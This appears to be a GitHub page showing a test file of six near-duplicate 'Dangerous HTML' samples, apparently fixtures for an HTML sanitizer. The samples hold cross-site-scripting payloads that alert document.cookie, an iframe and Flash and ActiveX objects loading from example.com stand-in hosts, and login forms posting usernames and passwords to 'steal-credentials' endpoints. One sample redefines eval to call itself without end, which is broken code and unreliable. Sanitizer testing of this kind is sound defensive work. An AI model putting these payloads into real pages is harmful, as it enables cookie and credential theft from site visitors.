testing/HTMLTesting at main · RawData/testing · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
<!DOCTYPE html>
<html>
<head>
 <title>Dangerous HTML</title>
</head>
<body>
 <script>
   alert(document.cookie);
 </script>
 <iframe src="http://example.com/steal-cookies"></iframe>
 <object type="application/x-shockwave-flash" data="http://example.com/exploit.swf"></object>
 <style>
   body {
     background-image: url(http://example.com/malicious.png);
   }
 </style>
 <link rel="stylesheet" href="http://example.com/evil.css">
 <a href="http://example.com/redirect">Click here to be redirected to a malicious website!</a>
</body>
</html>

<!DOCTYPE html>
<html>
<head>
 <title>Dangerous HTML</title>
</head>
<body>
 <script>
   function eval(code) {
     // This function evaluates the specified string as JavaScript code.
     return eval(code);
   }
 </script>
 <div id="content"></div>
 <input type="text" id="input">
 <button onclick="document.getElementById('content').innerHTML = eval(document.getElementById('input').value);">Execute</button>
</body>
</html>

<!DOCTYPE html>
<html>
<head>
 <title>ActiveX Object</title>
</head>
<body>
 <object id="myObject" type="clsid:72D99711-9B0D-45E5-865B-841E708879E3">
   <param name="codeBase" value="http://example.com/myobject.ocx">
 </object>
 <script>
   function myFunction() {
     // This function calls a method on the ActiveX object.
     myObject.DoSomething();
   }
 </script>
 <button onclick="myFunction()">Click here to call the ActiveX object's method</button>
</body>
</html>

<!DOCTYPE html>
<html>
<head>
 <title>Dangerous HTML</title>
</head>
<body>
 <script>alert(document.cookie);</script>
 <iframe src="http://example.com/steal-cookies"></iframe>
 <object type="application/x-shockwave-flash" data="http://example.com/exploit.swf"></object>
 <style>body {background-image: url(http://example.com/malicious.png);}</style>
 <link rel="stylesheet" href="http://example.com/evil.css">
 <a href="http://example.com/redirect">Click here to be redirected to a malicious website!</a>
 <form action="http://example.com/steal-credentials" method="post">
   <input type="text" name="username">
   <input type="password" name="password">
   <input type="submit" value="Submit">
 </form>
</body>
</html>

<!DOCTYPE html>
<html>
<head>
 <title>Dangerous HTML</title>
</head>
<body>
 <script>
   alert(document.cookie);
 </script>
 <iframe src="http://example.com/steal-cookies"></iframe>
 <object type="application/x-shockwave-flash" data="http://example.com/exploit.swf"></object>
 <style>
   body {
     background-image: url(http://example.com/malicious.png);
   }
 </style>
 <link rel="stylesheet" href="http://example.com/evil.css">
 <a href="http://example.com/redirect">Click here to be redirected to a malicious website!</a>
 <form method="post" action="http://example.com/steal-credentials">
   <input type="text" name="username">
   <input type="password" name="password">
   <input type="submit">
 </form>
 <img src="http://example.com/malicious.jpg" onload="alert(document.cookie);">
</body>
</html>

<!DOCTYPE html>
<html>
<head>
 <title>Dangerous HTML</title>
</head>
<body>
 <script>alert(document.cookie);</script>
 <iframe src="http://example.com/steal-cookies"></iframe>
 <object type="application/x-shockwave-flash" data="http://example.com/exploit.swf"></object>
 <style>body {background-image: url(http://example.com/malicious.png);}</style>
 <link rel="stylesheet" href="http://example.com/evil.css">
 <a href="http://example.com/redirect">Click here to be redirected to a malicious website!</a>
 <form action="http://example.com/steal-passwords" method="post">
   <input type="text" name="username">
   <input type="password" name="password">
   <input type="submit" value="Submit">
 </form>
</body>
</html>